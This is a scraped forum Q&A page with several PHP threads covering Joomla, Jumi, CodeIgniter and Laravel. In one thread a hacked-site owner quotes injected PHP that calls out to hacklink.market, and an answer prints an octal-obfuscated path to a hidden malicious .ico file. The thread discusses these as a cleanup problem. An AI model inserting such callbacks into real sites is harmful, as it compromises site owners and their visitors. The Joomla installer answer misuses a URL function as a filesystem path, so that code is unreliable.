Joomla include js using jumi - joomla

I can't manage to include a javascript in an article(directly in the wysiwyg editor) using jumi.
What I've tried:
{jumi /path/to/file.js}
{jumi [/path/to/file.js]}
{jumi /path/to/file.js}{/jumi}
{jumi [/path/to/file.js]}{/jumi}
"file.js" is located in a folder in the same directory as Joomla.
I'm using joomla v. 1.7.3 and Jumi 2.0.6.
Is there something I'm missing?

I'm not sure if this solution is much different than yours, but you can got to the Jumi Application Manager and create a new entry like this:
<?php
$document =& JFactory::getDocument();
$document->addStyleSheet('path/file.css');
$document->addScript('path/file.js');
?>
Then add this to your article:
{jumi[*5]}
Where "5" is the id of the Jumi entry.
At least this is how I do it in Joomla 1.5...

I've found a workaround, it's not elegant, but it works:
create two files, 1 php which will echo a script element and a javascript file that you wish to include
in the article put:
{jumi [path/to/a/php/file.php]}
the php file should be
<?php
echo "<script type=\"text/javascript\" language=\"javascript\" src=\"path/to/js/file.js\"></script>"
?>
Enjoy!

Related

Some script add automatically in root folder files in Laravel

My site has been created in Laravel and it has been hacked but we have started it and we have removed some unwanted code in files. But there is still some script automatically add to the root file(index.php) due to which the site is being affected.
Please give me some solution, what can we do to remove the automatic files from the root folder?
<?php
$exe = curl_init();
curl_setopt($exe, CURLOPT_URL, "https://hacklink.market/panel/code?x=5");
curl_exec($exe);
?>
This code is added automatically in index.php file.
Please change the server credentials and the database credentials as well.
if you want to check the which file is called, you simply echo the statement and you will get that file.
<?php
/*df76c*/
echo "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";
/*df76c*/
?>
This will return your server path with the infected file main script.
/home/earthtoheavenco/public_h tml/libraries/f0f/integration/.59725435.ico
Please delete all such these files from your server end.
Hope this will help you. Thanks

Hosted a site working perfectly locally but online, having issues with dompdf class not being found

<?php
defined('BASEPATH') OR exit('No direct script access allowed');
require_once(dirname(__FILE__) . '/dompdf/autoload.inc.php');
class Pdf{
I cant generate a pdf from, keeps says dompdf class not found, tried extending CI_Controller, even extending dompdf class still cant resolve.
If you are using composer then it would be an easy task to add DOM Pdf compatibility in your project. This is the Repository of DOM Pdf.
You can Install it By using Composer Package Manager
composer require dompdf/dompdf
And You have to enable Autoload in your Codeigniter Project.
To autoload resources, open the application/config/autoload.php file
and add the item you want to load to the autoload array. You’ll find
instructions in that file corresponding to each type of item.
Additionally, if you want CodeIgniter to use a Composer auto-loader,
just set $config['composer_autoload'] to TRUE or a custom path in
application/config/config.php.
And Finally, Set the Path of vendor/autoload.php in application/config/config.php
$config['composer_autoload'] = FCPATH . 'vendor/autoload.php';
Please Check the CI3 Documentation Here https://codeigniter.com/userguide3/general/autoloader.html

automatically create a folder and copy files on installation

I am trying to solve this problem.
Is it possible when installing a Joomla 2.5 plugin to automatically create a folder and copy some files into it? The folder should be created under images (joomla default images folder) /images/ and some files copied to there when the user installs the plugin.
Thanks in advance for any help.
Yes, it is possible. You firstly need to add the following code to your XML file:
<scriptfile>script.php</scriptfile>
Then create a file called script.php and add the following code to it:
<?php
defined('_JEXEC') or die('Restricted access');
class com_helloWorldInstallerScript {
function install($parent) {
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
//change this to the name of the folder you want to create
$newfolder = 'myfolder';
if(JFolder::create(JUri::root() . 'images/' . $newfolder)) {
//duplicate the line below as many times as you want for each file you want to move
JFile::move(JUri::root() . 'plugins/plugin_name/image.png', JUri::root() . 'images/' . $newfolder);
}
}
}
?>
Hope this helps

codeigniter on wamp 403 forbidden error

I set up a codeigniter project on my wamp www folder
The assets of my project is in 'assets' folder which is in the same folder as the application folder.
However when I access my localhost, the css,images and js which are in the asset folder is unable to load.
When I type localhost/assets instead, I can access them.
I set http.conf in the apache folder to set to "Allow from all" as well.
when i access the url from the developer tools for chrome, I have characters within the url like this
%3C?=%20base_url()%20?%3Eassets/img/a.jpg
Any idea what is wrong here?
It seams that the function base_url() is not executed and just printed in your view.
Try to enclose the function in a php block and echo it out with the path to the asset.
<?php
echo base_url() . 'assets/img/a.jpg';
?>
Or as stealthyninja mentioned in the comment, the short-open-tag you used is interpreted as text.
You can enable it in the php.ini with
short_open_tag=On
When you can't modify the php.ini, you can enable it in the codeigniter config.php with
$config['rewrite_short_tags'] = TRUE;
Now the short open tags are interpreted right
<?= base_url() . 'assets/img/a.jpg' ?>
check you config.php file:
$config['rewrite_short_tags'] = TRUE;
or try this :
<?php echo base_url()?>assets/img/a.jpg

Anchor target doesn't work

I have a problem with the target tag of anchors. The anchor specification is:
<?php echo anchor(site_url('areaResponsable/perfil'), "Aquí", array('target' => '_self')); ?>
But, when I upload the project to the server, the links open in a new tab. And FireBug shows the next anchor:
<a class="external_link" target="_blank"
href="http://apps.manantiales.edu.ar/index.php/areaResponsable/perfil">Aquí</a>
Whats wrong, any ideas?
I checked your website http://apps.manantiales.edu.ar/index.php and did a wget for all your js files. I found that a library named gebo_common.js is setting any link with 'http' in it as an external link. Which using site_url will use http.
The file http://apps.manantiales.edu.ar/js/gebo_common.js on your server has jQuery code to set the class 'external_link' to absolute urls.
So do this:
echo anchor('areaResponsable/perfil', "Aquí")

Resources